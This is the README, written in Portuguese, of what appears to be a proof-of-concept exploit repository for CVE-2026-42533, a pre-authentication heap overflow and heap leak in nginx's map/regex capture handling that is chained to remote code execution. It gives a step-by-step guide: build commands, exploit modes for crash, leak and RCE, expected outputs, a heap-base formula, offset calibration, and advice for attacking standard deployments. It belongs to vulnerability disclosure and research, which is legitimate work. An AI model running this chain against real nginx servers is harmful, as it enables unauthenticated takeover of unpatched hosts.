
CVE-2026-42533: estouro de heap e vazamento de informações pré-autenticação no nginx a partir de corrupção de captura PCRE no mecanismo map/script, encadeado para RCE.
Estouro de buffer na heap e vazamento de informações da heap pré-autenticação no nginx, causados pela falta de salvamento/restauração do estado de captura do PCRE entre as duas passagens do motor de script. Uma variável map com regex avaliada entre duas referências de captura sobrescreve r->captures, de modo que a passagem LEN e a passagem VALUE discordam sobre o tamanho de uma captura. O buffer é dimensionado para uma captura e preenchido com outra. Uma sobrescrita maior gera um estouro de heap com conteúdo e comprimento controlados pelo atacante. Uma sobrescrita menor gera um buffer superdimensionado cuja cauda não inicializada é retornada ao cliente, vazando ponteiros da libc e da heap.
As duas primitivas se encadeiam em execução remota de código confiável antes da autenticação. O vazamento derrota o ASLR em um único GET, portanto o estouro não precisa do ASLR desabilitado.
Writeup: https://cyberstan.co.uk/nginx-rce/ Advisory: F5 K000162097 Relator: Stan Shaw (cyberstan)
nginx 0.9.6 até 1.30.3 (stable) e 1.31.2 (mainline), atingível desde 2011, quando a diretiva map ganhou suporte a regex. Ambos os módulos http e stream. Cerca de 50 diretivas em 13 pontos de chamada, além de um segundo caminho por capturas nomeadas (r->variables[]). Corrigido em 1.30.4 e 1.31.3.
CVE-2026-42533-PoC/
├── exploits/ exploit and validator scripts
│ ├── poc.py numbered-capture proxy_method chain (crash/leak/rce/rce-det)
│ ├── calibrate.py find PL_OFF / HEAP_PAGE_OFF for --rce-det on your build
│ ├── leak_multi.py info leak on the return and set sinks
│ ├── test_all_sites.py ASan validator, all 13 overflow sites
│ └── named_capture_poc.py named-capture r->variables[] variant
├── configs/ nginx configs the exploits run against
│ ├── nginx_poc.conf crash / leak / rce
│ └── nginx_det.conf deterministic rce-det
├── docs/
│ └── EXPLOITATION.md full exploitation writeup
└── README.md
Execute todos os comandos abaixo a partir da raiz do repositório, para que exploits/, configs/ e a árvore de build ../nginx-1.30.1 sejam resolvidos corretamente.
exploits/poc.py é o exploit principal (captura numerada, sink proxy_method). Seus modos:
| Modo | Finalidade |
|---|---|
poc.py --crash | Dispara o estouro de heap; numa build ASan, imprime o tamanho da escrita e a pilha em ngx_http_script_copy_capture_code. |
poc.py --leak | Vazamento de informação: exibe os ponteiros da libc e da heap a partir do corpo de resposta superdimensionado. |
poc.py --rce | RCE completa pré-autenticação. Disparo único geral (configs/nginx_poc.conf), ~66% por tentativa; reexecute em caso de falha. |
poc.py --rce-det | RCE completa pré-autenticação, determinística contra o configs/nginx_det.conf controlado. |
Scripts autônomos que cobrem o restante da superfície do bug:
| Script | Finalidade |
|---|---|
exploits/leak_multi.py | Vazamento de informação por mais dois avaliadores (return, set), com cada ponteiro libc+heap confirmado contra /proc/<pid>/maps. Config padrão. |
exploits/test_all_sites.py | Validador AddressSanitizer que dispara todos os 13 pontos de chamada do estouro (http + stream). |
exploits/named_capture_poc.py | A variante de captura nomeada (?P<name>...) via r->variables[] / copy_var_code, uma segunda causa raiz. |
As configurações ficam em configs/: nginx_poc.conf (crash/leak/rce), nginx_det.conf (rce-det). A análise completa está em docs/EXPLOITATION.md.
Linux, gcc, python3 e o código-fonte do nginx 1.30.1. Desenvolvido e testado no Ubuntu 24.04.4, glibc 2.39, PCRE2 10.42, python 3.12, ASLR completo.
Dois builds. Um build limpo para o vazamento e a RCE, para que o resíduo da heap seja real. Um build AddressSanitizer para o crash e os validadores de pontos, para que o estouro seja reportado com tamanho de escrita e pilha exatos.
tar xf nginx-1.30.1.tar.gz
cd nginx-1.30.1
# clean build -> objs.dbg/nginx (leak, rce)
./configure --with-pcre --with-http_ssl_module --with-debug --builddir=objs.dbg
make -j"$(nproc)"
# ASan build with all the modules the site validator needs -> objs/nginx
./configure --with-pcre --with-http_ssl_module --with-http_v2_module \
--with-stream --with-stream_ssl_preread_module --with-stream_ssl_module \
--with-debug \
--with-cc-opt='-g -O0 -fsanitize=address -fno-omit-frame-pointer' \
--with-ld-opt=-fsanitize=address --builddir=objs
make -j"$(nproc)"
exploits/poc.py se comunica com um nginx em execução em 127.0.0.1:8950. Inicie-o em um terminal com configs/nginx_poc.conf e execute o modo desejado em outro. Os outros três scripts iniciam e encerram o próprio nginx, portanto precisam apenas de NGINX_BIN.
mkdir -p run/logs
../nginx-1.30.1/objs/nginx -p run -c "$PWD/configs/nginx_poc.conf" # ASan build, foreground
python3 exploits/poc.py --crash
Esperado: um heap-buffer-overflow, WRITE of size 200 em ngx_http_script_copy_capture_code em ngx_http_script.c:1404, chamado a partir de ngx_http_complex_value em ngx_http_proxy_create_request.
../nginx-1.30.1/objs.dbg/nginx -p run -c "$PWD/configs/nginx_poc.conf" # clean build
python3 exploits/poc.py --leak
Esperado: um corpo de 8161 bytes com 2 bytes gravados e o restante como resíduo da heap. Um ponteiro da libc no offset 0x08 e um ponteiro da heap em 0x10.
../nginx-1.30.1/objs.dbg/nginx -p run -c "$PWD/configs/nginx_poc.conf" # clean build
python3 exploits/poc.py --rce # writes /tmp/PWNED via system()
Esperado: um vazamento, cerca de 40 conexões de spray, um disparo do estouro e então /tmp/PWNED contendo a saída de id. É um disparo único e acerta cerca de dois terços das vezes na build de desenvolvimento; em caso de falha, o worker trava e você executa novamente. Consulte a seção "Reliability" de docs/EXPLOITATION.md.
Contra uma configuração controlada, o mesmo bug é um disparo único determinístico. Ele recupera a base absoluta da heap a partir do vazamento em uma única linha (heap_base = (leaked_ptr & ~0xfff) - 0x22000), aloja um único cleanup de pool forjado em uma conexão mantida aberta, em um endereço conhecido, e aponta o cleanup do pool vítima para ele, em vez do corpo de disparo transitório, que o nginx libera antes do encerramento.
mkdir -p run/logs
../nginx-1.30.1/objs.dbg/nginx -p run -c "$PWD/configs/nginx_det.conf" # controlled config
python3 exploits/poc.py --rce-det
nginx_det.conf é uma configuração de laboratório (worker único, buffers fixos) cujo layout da heap é reproduzível, e é isso que faz os offsets em poc.py (PL_OFF, HEAP_PAGE_OFF) se manterem válidos. PL_OFF é o offset, a partir da base da heap, no qual o corpo de cleanup da conexão mantida POST /b/ é alocado; ele depende da sequência exata de alocações, por isso varia entre builds, versões da glibc e configurações. Se --rce-det reportar Recalibrate, leia os valores corretos de um worker ativo com calibrate.py:
NGINX_BIN=../nginx-1.30.1/objs.dbg/nginx python3 exploits/calibrate.py
# prints e.g. set PL_OFF = 0x14426 , then edit it in exploits/poc.py
A única outra possibilidade de insucesso é um sorteio do ASLR que coloca um 0x0a dentro do endereço do cleanup ou do corpo do estouro, que a regex do map não consegue transportar; a ferramenta reporta isso e você reexecuta. Uma implantação padrão não é tão previsível, então use --rce nela. Consulte "A deterministic build" em docs/EXPLOITATION.md.